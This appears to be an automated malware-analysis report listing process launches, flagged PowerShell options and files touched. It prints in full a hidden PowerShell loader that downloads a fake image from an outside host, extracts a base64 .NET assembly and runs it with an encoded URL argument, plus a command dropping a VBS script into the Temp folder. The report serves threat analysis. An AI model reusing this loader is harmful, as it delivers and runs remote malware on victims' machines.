parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp\', 'Google Chrome'))"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe